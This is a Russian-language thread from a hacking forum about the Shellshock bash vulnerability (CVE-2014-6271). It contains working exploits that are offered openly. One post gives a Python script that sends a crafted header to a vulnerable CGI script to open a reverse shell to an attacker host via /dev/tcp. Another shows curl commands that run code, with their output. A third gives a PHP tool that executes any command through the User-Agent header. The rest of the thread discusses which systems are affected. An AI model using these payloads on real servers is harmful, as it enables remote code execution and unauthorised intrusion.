Вернуться   RDot > Аспекты НСД > Целевые системы/Target systems

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 24.09.2014, 19:11   #1
dikiy
 
Регистрация: 25.07.2013
Сообщений: 19
Репутация: 1
По умолчанию CVE: 2014-6271 Bash Specially-crafted Environment Variables Code Injection Vulnerabil

Принци понятен: мы можем создать переменную с функцией, добавить ее в окружение вместе с командами.
Но какой с этого прок, bash ведь не суидник. Какие векторы использования данной уязвимости?

Последний раз редактировалось b3; 28.09.2014 в 01:07..
dikiy вне форума   Ответить с цитированием
Старый 24.09.2014, 20:41   #2
mr.The
 
Аватар для mr.The
 
Регистрация: 05.07.2010
Сообщений: 73
Репутация: 16
По умолчанию

Насколько я понял - суть в том, что можно удаленно установить, например, глобальную переменную окружения TERM как функцию и написать там хоть бекконнект шелл и как только кто-то на самом деле откроет bash - функция выполнится.

http://www.csoonline.com/article/2687265/application-security/remote-exploit-in-bash-cve-2014-6271.html
__________________
Бложек mr.The. :rolleyes:
mr.The вне форума   Ответить с цитированием
Старый 25.09.2014, 00:08   #3
dikiy
 
Регистрация: 25.07.2013
Сообщений: 19
Репутация: 1
По умолчанию

Цитата:
Сообщение от mr.The Посмотреть сообщение
Насколько я понял - суть в том, что можно удаленно установить, например, глобальную переменную окружения TERM как функцию и написать там хоть бекконнект шелл и как только кто-то на самом деле откроет bash - функция выполнится.

http://www.csoonline.com/article/2687265/application-security/remote-exploit-in-bash-cve-2014-6271.html
Да, но переменная будет доступна только в томже процессе баша, либо в дочернем.
dikiy вне форума   Ответить с цитированием
Старый 25.09.2014, 01:27   #4
dikiy
 
Регистрация: 25.07.2013
Сообщений: 19
Репутация: 1
По умолчанию

Нашел пример
Код:
 #
   #CVE-2014-6271 cgi-bin reverse shell
   #
   
   import httplib,urllib,sys
   
   if (len(sys.argv)<4):
           print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
           print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
           exit(0)
   
   conn = httplib.HTTPConnection(sys.argv[1])
   reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
   
   headers = {"Content-type": "application/x-www-form-urlencoded",
           "test":reverse_shell }
   conn.request("GET",sys.argv[2],headers=headers)
   res = conn.getresponse()
   print res.status, res.reason
   data = res.read()
   print data
dikiy вне форума   Ответить с цитированием
Старый 25.09.2014, 11:15   #5
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Насколько понимаю embedded железки под ударом (но не простые модемы - там busybox).

Ubuntu/Debian с dash – неуязвимы.
SynQ вне форума   Ответить с цитированием
Старый 25.09.2014, 11:52   #6
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Цитата:
[tex@localhost cgi-bin]$ cat test_1.cgi
#!/usr/bin/bash
echo -e "Content-type: text/html\n\nhello world";

[tex@localhost cgi-bin]$ curl http://localhost/cgi-bin/test_1.cgi -A '() { x;};echo;/bin/id'
uid=48(apache) gid=48(apache) groups=48(apache)
[tex@localhost cgi-bin]$ cat test_2.cgi
#!/usr/bin/perl

print "Content-type: text/html\n\n";
system "bash -c echo hello world";
[tex@localhost cgi-bin]$ curl http://localhost/cgi-bin/test_2.cgi -A '() { x;};echo;/bin/id'

uid=48(apache) gid=48(apache) groups=48(apache)
круто
tex вне форума   Ответить с цитированием
Старый 27.09.2014, 12:35   #7
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Работает и на бубунте (старой правда):

Код:
Linux an 2.6.38-16-generic #67-Ubuntu SMP Thu Sep 6 18:00:43 UTC 2012 i686 athlon i386 GNU/Linux
GNU bash, версия 4.2.8(1)-release-(i686-pc-linux-gnu)
PHP код:
<?php
 
/*
 Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
 CVE: 2014-6271
 Vendor Homepage: https://www.gnu.org/software/bash/
 Author: Prakhar Prasad && Subho Halder
 Author Homepage: https://prakharprasad.com && https://appknox.com
 Date: September 25th 2014
 Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
 GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
 Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
 Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
 Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/

 Test CGI Code - test.sh : 
  #!/bin/bash
 echo "Content-type: text/html"
 echo ""
 echo "Bash-is-Vulnerable"
 */
 
error_reporting(0);
 if(!
defined('STDIN')) die("Please run it through command-line!\n");
 
$x getopt("u:c:");
 if(!isset(
$x['u']) || !isset($x['c']))
 {
 die(
"Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");

 }
 
$url $x['u'];
 
$cmd $x['c'];

 
$context stream_context_create(
 array(
 
'http' => array(
 
'method' => 'GET',
 
'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
 
)
 )
 );
 if(!
file_get_contents($urlfalse$context) && strpos($http_response_header[0],"500") > 0){
   die(
"Command '$cmd' done\n");
 }else{
   die(
"Connection Error\n");
 } 
 
?>
Код:
$ php s.php -u http://localhost/test.sh -c "ls -la >test1"
Модераторы, переименуйте тему плиз в нормальную

CVE: 2014-6271 Bash Specially-crafted Environment Variables Code Injection Vulnerability

Последний раз редактировалось Pashkela; 27.09.2014 в 12:39..
Pashkela вне форума   Ответить с цитированием
Старый 27.09.2014, 14:25   #8
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Pashkela
Работает, т.к. в скрипте "!/bin/bash", но не работает с /bin/sh.
SynQ вне форума   Ответить с цитированием
Старый 27.09.2014, 21:00   #9
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Работает везде где bash используется, вне зависимости от платформы.
плюс еще, как на хабре написали- если в системе дефолтный bash а не sh, то достаточно просто обращения к командной оболочке.


интереснее что там с dhclient за фигня, не видел кто подробности?
tex вне форума   Ответить с цитированием
Старый 28.09.2014, 01:23   #10
pres
 
Регистрация: 09.07.2010
Сообщений: 19
Репутация: 0
По умолчанию

Этот баг значит только в тех скриптах, которые начинаются с "#!/bin/bash" ?
pres вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot